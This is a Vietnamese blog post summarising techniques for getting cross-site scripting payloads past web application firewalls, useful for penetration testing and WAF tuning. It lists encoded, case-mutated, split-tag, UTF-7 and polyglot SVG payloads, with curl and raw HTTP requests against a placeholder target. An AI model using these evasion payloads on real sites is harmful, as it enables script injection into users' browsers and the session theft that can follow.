Home / Sharenewshort / XSS WAF Bypass: Tổng hợp và Phân tích các Kỹ thuật Hiệu quả

XSS WAF Bypass: Tổng hợp và Phân tích các Kỹ thuật Hiệu quả

Giới thiệu

Cross-Site Scripting (XSS) luôn là một trong những lỗ hổng phổ biến nhất tại OWASP Top 10. Để chống lại XSS, nhiều tổ chức triển khai Web Application Firewall (WAF). Tuy nhiên, kẻ tấn công vẫn có thể vượt qua lớp bảo vệ này bằng các kỹ thuật tinh vi. Bài viết gốc của Shellbr3ak trên Medium trình bày chi tiết nhiều phương pháp bypass WAF khi tìm XSS. Trong bài blog này, chúng ta sẽ phân tích kỹ nội dung, minh họa ví dụ và so sánh hiệu quả của từng kỹ thuật.


1. Nguyên lý hoạt động của WAF với XSS

  • WAF thường phân tích request HTTP và tìm các mẫu nguy hiểm trong payload.
  • Các biện pháp bảo vệ bao gồm:
  • Signature-based: Dò tìm chuỗi cố định như <script> hay onerror.
  • Heuristics/Behavioral: Phân tích hành vi mã JavaScript được chèn.
  • Positive-security model: Chỉ cho phép các ký tự, cú pháp “sạch”.

Để bypass, kẻ tấn công khai thác điểm yếu trong cách WAF kiểm tra, chẳng hạn như:

  • Phân tách chuỗi (splitting / segmentation)
  • Thay đổi encoding (UTF-7, UTF-16, URL encoding)
  • Sử dụng polyglot payload (đoạn mã có thể được giải mã thành nhiều dạng)

2. Các kỹ thuật bypass phổ biến

2.1 URL Encoding / Double Encoding

Thay thế ký tự gây nghi ngờ bằng %XX hoặc %25XX:

<img src=x onerror=alert(1)>

→ bypass WAF signature-based:

%3Cimg%20src=x%20onerror=alert(1)%3E

Double encoding:

%253Cimg%2520src=x%2520onerror=alert(1)%253E

2.2 Unicode / UTF-7, UTF-16 Encoding

Dùng charset khác để né bộ lọc chỉ tìm ASCII:

Content-Type: text/html; charset=utf-7

Payload UTF-7:

+ADw-script+AD4-alert(1)+ADw-/script+AD4-

2.3 Case Mutation

Một số WAF chỉ kiểm chuỗi cố định “script”. Thay đổi kiểu chữ:

<SCRiPt>alert(1)</SCRiPt>

2.4 Tag Breaking / Splitting

Chèn khoảng trắng, dấu tab, ký tự line-break:

<scr
ipt>alert(1)</scr
ipt>

2.5 Polyglot Payloads

Một payload hoạt động trong nhiều ngữ cảnh:

"><svg/onload=alert(1)> 
  • Có thể chèn vào attribute, URL, HTML body.

3. Bảng so sánh kỹ thuật bypass

Kỹ thuật Cách thức Ưu điểm Hạn chế
URL Encoding Encode ký tự `<` `>` thành `%3C` `%3E` Dễ thực hiện, bypass WAF đơn giản WAF nâng cao có thể decode trước khi check
Double Encoding Encode lần hai: `%25XX` Bắt kịp WAF decode 1 lần Lộ payload dài, dễ bị rò dò pattern decode
Unicode (UTF-7/16) Sử dụng charset khác để né filter WAF ít hỗ trợ charset này Trình duyệt và server phải hỗ trợ charset
Case Mutation Đổi chữ hoa/thường Bypass WAF không case-sensitive WAF hiện đại thường ignore case
Tag Splitting Chia tag ra nhiều dòng hoặc ký tự Khai thác lỗ hổng parser của WAF Yêu cầu reconstruct payload phía client
Polyglot Payload hoạt động trong nhiều ngữ cảnh Tính linh hoạt, mạnh mẽ Phức tạp, dễ bị phá vỡ nếu context khác

4. Ví dụ minh họa

4.1 Bypass với URL Encoding

curl "http://target.com/page?search=%3Cscript%3Ealert(1)%3C/script%3E"

4.2 Bypass với UTF-7

GET /?q=+ADw-script+AD4-alert(1)+ADw-/script+AD4- HTTP/1.1
Host: target.com
Content-Type: text/html; charset=utf-7

4.3 Polyglot SVG

"><svg/ onload=alert(1)//

5. Lưu ý khi triển khai

  • Không phải mọi kỹ thuật đều hoạt động với tất cả WAF.
  • Cần thử nghiệm trên từng phiên bản WAF cụ thể (ModSecurity, AWS WAF, Cloudflare, v.v.).
  • Kết hợp nhiều kỹ thuật (hybrid) để tăng tỷ lệ bypass.
  • Giữ payload càng ngắn càng tốt để tránh bị cắt bớt.

6. Kết luận

XSS WAF bypass là một cuộc chạy đua giữa kẻ tấn công và đội bảo mật. Bằng cách hiểu rõ cách WAF kiểm tra và áp dụng linh hoạt các kỹ thuật encode, mutation, polyglot, bạn có thể gia tăng hiệu quả phát hiện và khai thác XSS trong môi trường có WAF. Luôn cập nhật với các bypass mới và kiểm thử liên tục để duy trì lợi thế.

Source link: XSS WAF Bypass – Shellbr3ak

Leave a Reply

Email của bạn sẽ không được hiển thị công khai. Các trường bắt buộc được đánh dấu *